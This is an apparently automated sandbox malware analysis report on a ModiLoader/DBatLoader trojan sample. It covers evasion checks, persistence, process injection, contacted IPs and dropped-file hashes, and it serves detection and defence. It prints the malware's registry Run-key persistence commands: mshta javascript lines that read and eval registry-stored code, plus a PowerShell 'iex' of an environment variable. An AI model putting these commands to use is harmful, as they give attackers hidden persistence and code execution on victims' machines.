Malware Analysis Report

2024-08-06 14:19

Sample ID 240618-qapmzavbpb
Target bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118
SHA256 83aa4fc19d2d632129b49ed54955cc263e7c9bc54f232e8717e79596248cda90
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

83aa4fc19d2d632129b49ed54955cc263e7c9bc54f232e8717e79596248cda90

Threat Level: Known bad

The file bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

Process spawned unexpected child process

ModiLoader, DBatLoader

Looks for VirtualBox Guest Additions in registry

Looks for VirtualBox drivers on disk

ModiLoader Second Stage

Checks for common network interception software

Looks for VMWare Tools registry key

Checks BIOS information in registry

Checks computer location settings

Drops startup file

Deletes itself

Maps connected drives based on registry

Adds Run key to start application

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

Unsigned PE

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Modifies registry class

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-18 13:03

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-18 13:03

Reported

2024-06-18 13:06

Platform

win7-20240419-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3011.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\43e4\\fa89.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:FVT9cLzMx=\"NtDxWFG\";Ch11=new%20ActiveXObject(\"WScript.Shell\");nsINCmu41I=\"B0\";p63Qdh=Ch11.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\epsehio\\\\uqkiailgu\");HciXS4hF=\"SjWIg9\";eval(p63Qdh);IOIIN0P=\"CWMG2tYQ\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:VzskqP3S8=\"srbJPMGY\";D7Q0=new%20ActiveXObject(\"WScript.Shell\");hewDWF8iT=\"K\";VoHy8=D7Q0.RegRead(\"HKCU\\\\software\\\\epsehio\\\\uqkiailgu\");g8iuEXT=\"I0Vgj\";eval(VoHy8);ZYL9T1BUFm=\"KdbjaYASvp\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\49a7 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\49a7\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\49a7\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\49a7\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\49a7\shell\open\command\ = "mshta \"javascript:GTGTHA0=\"3OGBEk\";Sj57=new ActiveXObject(\"WScript.Shell\");ucH77BQra=\"WArCiWmwD\";K2WUb9=Sj57.RegRead(\"HKCU\\\\software\\\\epsehio\\\\uqkiailgu\");RUP4S9Hl=\"3QklhToe\";eval(K2WUb9);Y2Xltew2z=\"MEn\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\.6f350 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\.6f350\ = "49a7" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 1620 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 2636 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2636 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2636 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2636 wrote to memory of 2804 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2804 wrote to memory of 2704 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2704 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2704 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2704 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2704 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2704 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2704 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2804 wrote to memory of 2704 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2704 wrote to memory of 1860 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2704 wrote to memory of 1860 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2704 wrote to memory of 1860 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2704 wrote to memory of 1860 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2704 wrote to memory of 1860 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2704 wrote to memory of 1860 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2704 wrote to memory of 1860 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2704 wrote to memory of 1860 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:octoJzs83="LNT";f7E=new%20ActiveXObject("WScript.Shell");w3ReXg2kkX="TihmQir";JZg5I=f7E.RegRead("HKLM\\software\\Wow6432Node\\WpMlzBbWbQ\\xJ3QcN");B0hctU1uRv="cDq";eval(JZg5I);v8FauDQh1="CJN";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:gxtyc

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 169.73.99.60:80 tcp
IR 151.234.119.59:80 tcp
CH 80.219.220.38:80 tcp
IE 20.223.93.65:80 tcp
US 23.22.59.185:80 tcp
US 8.235.44.246:80 tcp
US 67.137.206.38:80 tcp
CA 155.194.157.100:8080 tcp
US 29.96.217.44:8080 tcp
US 66.192.211.89:8080 tcp
NL 83.83.6.186:80 tcp
US 143.31.177.243:80 tcp
AU 202.36.92.180:80 tcp
US 138.43.209.174:443 tcp
US 136.202.117.132:80 tcp
GB 91.110.171.125:80 tcp
DE 139.19.20.236:80 tcp
US 11.128.137.64:80 tcp
US 7.221.108.48:443 tcp
US 9.224.176.55:80 tcp
US 97.51.1.125:8080 tcp
EC 186.70.222.8:80 tcp
CN 222.136.71.198:80 tcp
VN 103.120.158.68:80 tcp
US 74.196.194.18:80 tcp
US 66.90.245.200:80 tcp
ID 182.1.243.235:80 tcp
US 6.102.240.69:80 tcp
KR 118.220.213.53:80 tcp
CN 117.22.32.124:443 tcp
BR 177.4.86.64:80 tcp
IT 79.23.109.171:80 tcp
US 66.175.197.116:80 tcp
US 160.93.220.127:80 tcp
US 63.227.191.227:80 tcp
US 96.3.205.116:80 tcp
US 184.188.18.193:80 tcp
N/A 127.156.53.73:80 tcp
US 144.157.4.46:80 tcp
ZA 197.110.143.233:80 tcp
US 69.162.19.172:80 tcp
AR 201.255.87.236:80 tcp
CN 39.170.190.215:80 tcp
US 205.42.244.3:80 tcp
US 162.138.109.179:80 tcp
GB 86.134.194.147:8080 tcp
US 192.211.187.171:80 tcp
AU 160.30.38.252:80 tcp
US 131.3.176.59:80 tcp
US 173.47.187.193:80 tcp
US 141.158.184.240:80 tcp
KR 203.226.25.206:80 tcp
JP 113.42.98.126:80 tcp
FR 82.121.77.217:80 tcp
US 73.196.166.163:80 tcp
AR 198.50.22.6:443 tcp
CA 104.251.109.192:80 tcp
NL 81.204.229.55:80 tcp
US 137.241.169.163:80 tcp
DE 37.4.10.124:80 tcp
US 19.97.92.183:80 tcp
US 64.35.209.210:80 tcp
US 12.247.158.254:80 tcp
HK 103.59.103.20:80 tcp
CN 183.187.198.71:80 tcp
US 76.173.159.232:80 tcp
SG 8.156.244.109:80 tcp
US 159.66.86.40:80 tcp
BR 191.176.115.79:80 tcp
N/A 10.223.231.171:8080 tcp
SE 51.20.56.244:443 tcp
US 6.39.221.121:80 tcp
FR 185.145.74.80:80 tcp
DE 91.20.189.58:8080 tcp
US 215.91.223.207:443 tcp
US 140.68.65.37:80 tcp
US 204.126.14.215:80 tcp
US 147.57.176.66:80 tcp
CA 167.125.83.210:80 tcp
US 167.64.67.38:80 tcp
AR 181.26.128.28:80 tcp
HK 119.237.75.172:8080 tcp
US 16.126.60.245:80 tcp
ZA 160.118.10.40:80 tcp
KE 105.56.164.101:80 tcp
IT 85.45.55.201:80 tcp
US 131.15.51.238:80 tcp
AU 149.144.131.91:80 tcp
TW 59.112.134.97:80 tcp
NL 163.158.179.92:80 tcp
US 44.54.166.6:8080 tcp
JP 133.162.126.81:80 tcp
US 98.72.3.215:80 tcp
DE 141.30.126.12:80 tcp
MX 201.143.216.179:80 tcp
BR 186.236.174.243:80 tcp
US 34.229.141.124:443 tcp
US 40.157.217.87:80 tcp
DE 18.198.22.138:80 tcp
LT 78.59.14.2:8080 tcp
US 174.40.230.66:80 tcp
US 7.41.62.144:80 tcp
UZ 31.148.199.9:80 tcp
US 161.181.49.20:80 tcp
GB 92.21.96.124:80 tcp
US 76.244.227.168:80 tcp
CA 45.2.167.254:80 tcp
GB 25.26.20.26:80 tcp
BR 191.202.29.3:8080 tcp
IT 185.98.8.178:80 tcp
JP 153.126.78.244:80 tcp
CN 222.191.195.133:443 tcp
TW 220.128.4.122:8080 tcp
CN 121.16.95.29:80 tcp
GB 86.157.114.56:443 tcp
IN 223.178.202.141:80 tcp
DE 37.5.136.165:80 tcp
US 17.41.45.2:80 tcp
CN 221.183.14.163:80 tcp
BR 200.230.48.3:80 tcp
IT 151.69.232.214:443 tcp
N/A 127.7.242.45:8080 tcp
US 107.173.110.202:80 tcp
BY 176.60.58.156:80 tcp
DE 52.57.50.4:8080 tcp
NL 145.77.204.69:80 tcp
SC 168.81.187.46:80 tcp
US 204.73.189.153:80 tcp
IN 121.243.55.227:80 tcp
US 6.173.116.235:80 tcp
US 215.213.81.33:443 tcp
US 4.26.90.249:80 tcp
US 198.250.47.90:80 tcp
US 136.123.78.243:80 tcp
US 17.180.69.114:443 tcp
US 128.143.109.79:80 tcp
US 168.190.112.255:8080 tcp
MX 187.191.171.146:80 tcp
ES 176.86.113.59:443 tcp
US 157.151.113.32:443 tcp
US 11.215.194.220:80 tcp
DE 84.160.183.183:80 tcp

Files

memory/1876-2-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1876-4-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1876-5-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1876-6-0x0000000000220000-0x00000000002F4000-memory.dmp

memory/1876-8-0x0000000000220000-0x00000000002F4000-memory.dmp

memory/1876-7-0x0000000000220000-0x00000000002F4000-memory.dmp

memory/1876-11-0x0000000000220000-0x00000000002F4000-memory.dmp

memory/1876-10-0x0000000000220000-0x00000000002F4000-memory.dmp

memory/1876-12-0x0000000000220000-0x00000000002F4000-memory.dmp

memory/2804-21-0x00000000061C0000-0x0000000006294000-memory.dmp

memory/2704-25-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-23-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2804-26-0x00000000061C0000-0x0000000006294000-memory.dmp

memory/2704-27-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-42-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-43-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-44-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-41-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-40-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-39-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-38-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-37-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-36-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-35-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-34-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-33-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-32-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-31-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-30-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-29-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-28-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-47-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-46-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-48-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-50-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-54-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-55-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-53-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-52-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-51-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-49-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/2704-66-0x00000000002A0000-0x00000000003DE000-memory.dmp

memory/1860-67-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-68-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-75-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-82-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-81-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-79-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-78-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-77-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-76-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-74-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-73-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-72-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-70-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-69-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-80-0x0000000000260000-0x000000000039E000-memory.dmp

memory/1860-71-0x0000000000260000-0x000000000039E000-memory.dmp

C:\Users\Admin\AppData\Local\43e4\b67d.bat

MD5 27ce144177a8617384899301a2b4330f
SHA1 1dead7588f1982006065dc8a25deb05385fbe649
SHA256 fa24ed9d8ea201f657bfea7f56fc698a39216eecccdc29fc0a12dc3592badce4
SHA512 0724ac2a3c9321241afdaad3fed8923b5748a47fde6319daf4fd320420a0a20e5487c5c1e36bdea009c5e686371fd172832ba92e4e9086f307afb7d8c741608b

C:\Users\Admin\AppData\Local\43e4\8d79.6f350

MD5 ec074fc0ed016c440701b15a00a1be27
SHA1 a50adc17b29672649f159d168346be381bd00d21
SHA256 470399d8614f49ba259700daf2b05ed806bb70b7cea0019f86ce4e8bca1ab5d1
SHA512 486dc39e66e1e7b7bddcbf9534ece991a37999da02690ccb48b2ec80c9f741aad7209c4a27c7e0f3ed91da1da5d477761fb7883a3262d5dc3edab5c390ebe707

C:\Users\Admin\AppData\Local\43e4\fa89.lnk

MD5 a644ea1f5e64ddd4b78d530f65682efc
SHA1 e718d645cb561bcf1efef4befe7f599bc81e464c
SHA256 fb99bb4e3b47034b80ae9e0d8a339cd34ca538880fd3515e9bcb957ba6b62d53
SHA512 d4925beadf2c39a5bad4140a27949d78b39d369f59f00ffdf99e62a2e7ea7becbbfa1794705724d97b2ad7ec17177ddcb725cbf5a53683f43bafd1bbd3ce29fc

C:\Users\Admin\AppData\Roaming\ef44\0b63.6f350

MD5 2e3f1aa813ba0f98e04d940697ee2382
SHA1 c5a6114358b70318632db1c6863df1e00ae1478f
SHA256 8949749c9ee47e8f6be75d89da329ed4a741d8540ef9aa6cccda5a5008fa1fcc
SHA512 174474285ad7eafb49711eedd1c2e91c36b67932ed5eb60671beab207dd6a73d210c401a8a3e77a9f6c92641f88d08daa303c0e7b42e8340e8efb1d0efa24536

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3011.lnk

MD5 8d5bb2b931a7e033cee142b8b13bb0e3
SHA1 207008a44b3025dfb99a1bb899dd34ea1738bcbf
SHA256 84dd529a018e650b9e92289f2aaeeaf04bf6b439f2cfd6b4ab29b991eff6a162
SHA512 5d67ec78cbb5add4e926afa1ab468ca5e3d47e75711319d5fe0813d32027870500eea90ce3c968875db0882318afb44f61a9eae2be9ea907c03bce4bcef27315

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-18 13:03

Reported

2024-06-18 13:06

Platform

win10v2004-20240611-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4280 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 4280 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 4280 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 4280 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 4280 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 4280 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
